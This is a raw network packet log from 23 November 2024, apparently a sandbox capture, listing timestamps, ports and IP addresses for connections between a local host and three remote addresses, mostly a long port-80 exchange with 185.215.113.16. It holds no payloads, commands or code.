Nov 23, 2024 18:22:34.440197945 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.440814018 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.440887928 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.440953970 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.441328049 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.441348076 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.441361904 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.441370010 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.444670916 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.444704056 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.445420027 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.447115898 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.447128057 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.448326111 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.448364973 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.448431015 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.448748112 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.448762894 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.632827044 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.633147955 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.633198977 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.641798019 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.641841888 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.641871929 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.641890049 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.689826965 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.689846992 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.689930916 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.690932989 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.690943003 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.998280048 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:34.998377085 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:35.001436949 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:35.026550055 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:35.026571989 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:35.128282070 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.128304958 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.128315926 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.128364086 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.128395081 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.129313946 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.129359961 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.129373074 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.129388094 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.129426956 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.129868031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.129894972 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.129904985 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.129946947 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.129946947 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.129992962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.130933046 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.193053007 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:35.193140984 CET	443	49829	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:35.193226099 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:35.194243908 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:35.194277048 CET	443	49829	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:35.321943045 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:35.336513996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.336585999 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.340843916 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.340926886 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.347579002 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:35.347593069 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:35.348594904 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:35.348601103 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:35.349534988 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.349589109 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.358299017 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.358424902 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.365561008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.365686893 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.365735054 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.380147934 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.380254984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.380316019 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.394756079 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.394836903 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.394864082 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.394877911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.409358978 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.409468889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.409491062 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.409527063 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.423928976 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.424050093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.424061060 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.424092054 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.438500881 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.438548088 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.438606024 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.438646078 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.453079939 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.453131914 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.453190088 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.453277111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.467637062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.467719078 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.467745066 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.467756987 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.516429901 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.516473055 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.516529083 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.516566992 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.523734093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.523808956 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.523838997 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.523881912 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.538352966 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.538408041 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.538418055 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.538455009 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.552467108 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.552510977 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.552524090 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.552552938 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.585396051 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.585442066 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.585488081 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.585553885 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.592437983 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.592519999 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.592544079 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.592731953 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.606502056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.606549025 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.606607914 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.606687069 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.620589972 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.620654106 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.620676041 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.620903015 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.678708076 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:35.678819895 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:35.678899050 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:35.680222988 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:35.680243969 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:35.831337929 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.831362963 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.831420898 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.831453085 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.838288069 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.838329077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.838340998 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.838463068 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.852400064 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.852458954 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.852487087 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.852766991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.866488934 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.866684914 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.866736889 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.875685930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.875730991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.875771999 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.877398968 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.884998083 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.885015965 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.885071993 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.894141912 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.894196033 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.894283056 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.904005051 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.904112101 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.904198885 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.911777020 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.911906004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.911966085 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.918886900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.918942928 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.918999910 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.926336050 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.926399946 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.926435947 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.926485062 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.933898926 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.933995008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.934030056 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.934042931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.941304922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.941402912 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.941420078 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.941461086 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.948787928 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.948910952 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.948968887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.956285954 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.956334114 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.956394911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.963778973 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.963872910 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.963936090 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.971224070 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.971268892 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.971329927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.971373081 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.978780031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.978844881 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.978894949 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.987030029 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.987061024 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.987108946 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:35.993787050 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.993809938 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:35.993859053 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.001226902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.001321077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.001372099 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.008750916 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.008827925 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.008836985 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.009392977 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.016169071 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.016239882 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.016284943 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.016403913 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.023669958 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.023796082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.023863077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.031143904 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.031276941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.031349897 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.045479059 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.045679092 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.045758009 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.136517048 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.136647940 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.136702061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.140175104 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.140264034 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.140311956 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.162087917 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.162410975 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.163897991 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.163959026 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.164021969 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.164064884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.171550035 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.171605110 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.171766043 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.172209978 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.178919077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.178972960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.189090967 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.189090967 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.189105034 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.189116001 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.200139999 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.200165033 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.200249910 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.200911045 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.200926065 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.242250919 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.242409945 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.242475033 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.246014118 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.246104956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.246154070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.253539085 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.253596067 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.253649950 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.261022091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.261081934 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.261145115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.268632889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.268676996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.268733025 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.276005030 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.276057959 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.276079893 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.276148081 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.282289982 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.282355070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.282378912 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.282418966 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.288974047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.289010048 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.289025068 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.289397001 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.295031071 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.295047998 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.295089006 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.295104027 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.301333904 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.301398993 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.301430941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.301470995 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.307857037 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.307892084 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.307936907 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.314045906 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.314137936 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.314196110 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.320375919 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.320467949 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.320523024 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.326802015 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.326848984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.326908112 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.333062887 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.333164930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.333223104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.339447975 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.339467049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.339531898 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.345762014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.345911026 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.345971107 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.352174044 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.352221966 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.352278948 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.358462095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.358563900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.358609915 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.364761114 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.364850998 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.364909887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.371246099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.371335030 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.371400118 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.377593994 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.377748013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.377794981 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.382791996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.382810116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.382874012 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.388132095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.388210058 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.388258934 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.393387079 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.393429041 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.393484116 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.398663998 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.398890018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.398917913 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.398942947 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.453258991 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.453315020 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.453366995 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.453440905 CET	49822	80	192.168.2.4	185.215.113.16
